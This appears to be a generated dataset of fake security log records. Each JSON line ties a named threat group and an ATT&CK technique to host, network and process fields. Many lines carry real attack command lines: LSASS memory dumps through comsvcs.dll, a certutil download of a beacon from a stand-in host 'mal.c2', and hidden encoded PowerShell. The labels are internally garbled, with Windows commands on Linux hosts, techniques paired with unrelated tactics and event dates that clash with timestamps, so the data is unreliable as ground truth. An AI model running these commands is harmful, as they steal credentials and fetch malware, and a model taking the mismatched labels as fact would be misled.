{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Collection"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20261212T032435000Z_0002143","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["TLS","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.219.164.216","name":"DB-ORACLE-IJ1J4HKVRD","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2143Mustang PandaT1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.181.132.178","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2742 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-06-04T00:24:34.000Z","user":{"name":"i-yf2jwxjxazhh","sid":"S-1-5-21-201901960-365483735-3855"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Lateral Movement","Execution","Persistence"],"technique_id":"T1003.001"},"event_id":"evt_fin7_20251002T204430000Z_0002145","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.6.146.203","name":"DB-ORACLE-R6CK5VRPRF","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2145FIN7T1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.173.173.39","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-11-28T07:26:00.000Z","user":{"name":"CORP\\yue15zq7wf76","sid":"S-1-5-21-781995473-436273648-8887"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Defense Evasion","Initial Access"],"technique_id":"T1566.001"},"event_id":"evt_apt29_20261023T095104000Z_0002147","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.6.220.140","name":"DB-ORACLE-KVVC0Z7CIJ","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2147APT29T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.52.128.76","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3411 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-05-13T11:48:44.000Z","user":{"name":"i-exe9050f0lo6","sid":"S-1-5-21-256393829-445527262-6321"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Exfiltration","Execution","Credential Access"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20260216T010252000Z_0002149","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.197.142.22","name":"AZURE-VM-0RZ0SBAZZB","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2149Mustang PandaT1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.61.210.163","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3865 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-10-22T21:47:18.000Z","user":{"name":"arn:aws:iam::wy46u9gmo57r","sid":"S-1-5-21-992823959-353892111-8350"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Execution"],"technique_id":"T1531"},"event_id":"evt_volttyphoon_20260316T223908000Z_0002151","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.245.239.232","name":"AZURE-VM-XE9Z0RL21G","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2151Volt TyphoonT1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.141.96.150","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1004 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-02-25T06:25:25.000Z","user":{"name":"arn:aws:iam::62tjxefyji7y","sid":"S-1-5-21-148730800-472890325-5846"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Lateral Movement","Privilege Escalation"],"technique_id":"T1003.001"},"event_id":"evt_unc4841_20260601T142016000Z_0002153","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.146.213.121","name":"AZURE-VM-IRHT9OLLA9","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2153UNC4841T1003.001"},"network":{"domain":"github.com","dst_ip":"1.114.234.136","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-08-22T14:33:23.000Z","user":{"name":"i-aqfm92k86xcy","sid":"S-1-5-21-787880372-414198630-4946"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Impact","Reconnaissance"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20250808T011257000Z_0002155","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.7.252.149","name":"EC2-INST-U16WZ0T9QZ","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2155Mustang PandaT1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.181.3.105","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2269 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-01-06T03:14:17.000Z","user":{"name":"CORP\\37oakconalxz","sid":"S-1-5-21-572960677-523873170-3691"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Reconnaissance","Execution"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20261102T074054000Z_0002157","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.220.128.193","name":"DB-ORACLE-66A8EK1JUE","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2157Volt TyphoonT1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.154.86.207","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-09-22T04:23:25.000Z","user":{"name":"i-0c3h4fgzqhyk","sid":"S-1-5-21-768030649-519611207-8497"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Reconnaissance","Defense Evasion"],"technique_id":"T1003.001"},"event_id":"evt_apt29_20251007T003057000Z_0002159","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.82.176.93","name":"IAM-ROLE-NX82F2H2ZF","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2159APT29T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.100.182.108","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-04-17T18:24:38.000Z","user":{"name":"svc_0dxj96rmrwwh","sid":"S-1-5-21-100151250-910044783-6663"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Privilege Escalation","Discovery","Collection"],"technique_id":"T1531"},"event_id":"evt_apt41_20260323T185943000Z_0002161","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.94.233.173","name":"DB-ORACLE-SNZ8AFUAYH","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2161APT41T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.149.10.131","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-03-21T13:01:57.000Z","user":{"name":"svc_4c10ze9setov","sid":"S-1-5-21-744882403-965640175-2030"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Privilege Escalation","Impact"],"technique_id":"T1098.004"},"event_id":"evt_apt29_20251017T040157000Z_0002163","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.160.183.219","name":"IAM-ROLE-O9D4C0XTR7","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2163APT29T1098.004"},"network":{"domain":"github.com","dst_ip":"1.6.192.5","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-11-27T09:16:01.000Z","user":{"name":"svc_o6zhv9m4a2q0","sid":"S-1-5-21-178832172-836191407-4416"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Reconnaissance"],"technique_id":"T1021.006"},"event_id":"evt_unc4841_20250924T014400000Z_0002165","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.254.64.164","name":"WIN-FIN-SRV-15Q9QQSJF9","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2165UNC4841T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.29.210.243","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-09-22T16:23:26.000Z","user":{"name":"arn:aws:iam::sric9e6x99o9","sid":"S-1-5-21-389000672-426945931-2350"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Persistence","Exfiltration"],"technique_id":"T1546.003"},"event_id":"evt_scatteredspider_20250628T212931000Z_0002167","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.71.110.82","name":"IAM-ROLE-9YMTR1ZCW2","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2167Scattered SpiderT1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.3.198.213","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-01-02T14:10:48.000Z","user":{"name":"svc_gico8bdjrxzd","sid":"S-1-5-21-137787028-299160208-1730"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Privilege Escalation","Lateral Movement"],"technique_id":"T1059.001"},"event_id":"evt_apt29_20261204T155903000Z_0002169","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.59.155.82","name":"DB-ORACLE-2IFRSTCF4E","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2169APT29T1059.001"},"network":{"domain":"github.com","dst_ip":"1.31.174.25","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-10-19T14:28:46.000Z","user":{"name":"svc_yalum8nijzow","sid":"S-1-5-21-872317454-869088247-2367"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration"],"technique_id":"T1566.001"},"event_id":"evt_mustangpanda_20260714T180036000Z_0002171","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.218.153.205","name":"AZURE-VM-IDULDSAUL9","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2171Mustang PandaT1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.114.5.209","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1723 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-09-28T13:31:55.000Z","user":{"name":"arn:aws:iam::2j42kjpc90b4","sid":"S-1-5-21-181021617-816380308-5855"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Discovery","Execution"],"technique_id":"T1566.001"},"event_id":"evt_fin7_20260603T142140000Z_0002173","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.134.199.195","name":"WIN-FIN-SRV-PCIXPQ1EB2","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2173FIN7T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.52.235.78","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2937 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-03-07T08:09:51.000Z","user":{"name":"svc_esl38zcgitu3","sid":"S-1-5-21-141152323-629355075-7019"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Defense Evasion","Privilege Escalation"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20250904T183813000Z_0002175","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.193.95.63","name":"IAM-ROLE-1X0D8AZABG","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2175Lapsus$T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.29.36.184","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1911 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-11-06T06:07:33.000Z","user":{"name":"azuread\\x27fdxa9k9lc","sid":"S-1-5-21-873254434-636121075-3795"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Command and Control"],"technique_id":"T1003.001"},"event_id":"evt_lapsus_20250805T044646000Z_0002177","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.187.5.237","name":"DB-ORACLE-OI7SXOCDFK","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2177Lapsus$T1003.001"},"network":{"domain":"github.com","dst_ip":"1.37.35.3","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-04-04T19:59:14.000Z","user":{"name":"CORP\\7xapaf7ne76e","sid":"S-1-5-21-642411336-573445036-5524"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Collection","Privilege Escalation","Exfiltration"],"technique_id":"T1531"},"event_id":"evt_lapsus_20250930T071517000Z_0002179","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.5.188.77","name":"DB-ORACLE-S38H7F8NCP","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2179Lapsus$T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.79.194.240","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1552 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-11-07T01:24:16.000Z","user":{"name":"CORP\\rmhiqdy2hhha","sid":"S-1-5-21-991457544-494463751-3708"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Execution"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20250218T015018000Z_0002181","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.139.209.77","name":"APP-WEB-70BD277KNP","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2181Lapsus$T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.6.225.128","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-04-17T04:13:53.000Z","user":{"name":"CORP\\t7i5qohj1xsh","sid":"S-1-5-21-866205062-939634653-7837"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Collection","Privilege Escalation"],"technique_id":"T1071.001"},"event_id":"evt_apt41_20250522T135852000Z_0002183","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Base64","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.125.200.12","name":"APP-WEB-Z0P08DFMFI","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2183APT41T1071.001"},"network":{"domain":"github.com","dst_ip":"1.136.127.242","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3427 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-07-01T03:56:22.000Z","user":{"name":"svc_5ysld2z3zkkb","sid":"S-1-5-21-206178514-230494036-7895"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Credential Access","Impact"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20250918T074832000Z_0002185","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.53.61.237","name":"AZURE-VM-K650GQMVSU","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2185UNC4841T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.42.56.216","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-08-29T16:46:54.000Z","user":{"name":"i-mqsjzcbyszno","sid":"S-1-5-21-685580586-401877001-5789"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Privilege Escalation","Collection","Initial Access"],"technique_id":"T1546.003"},"event_id":"evt_unc4841_20250811T051337000Z_0002187","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.116.73.242","name":"APP-WEB-GPLQ9ES8N3","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2187UNC4841T1546.003"},"network":{"domain":"github.com","dst_ip":"1.92.7.19","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-02-28T00:27:02.000Z","user":{"name":"azuread\\gsqcg6mqgybv","sid":"S-1-5-21-188891443-858289192-4378"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Lateral Movement","Command and Control","Execution"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20250902T234048000Z_0002189","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.100.180.36","name":"APP-WEB-VEK5VPAENX","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2189Mustang PandaT1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.83.24.130","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc 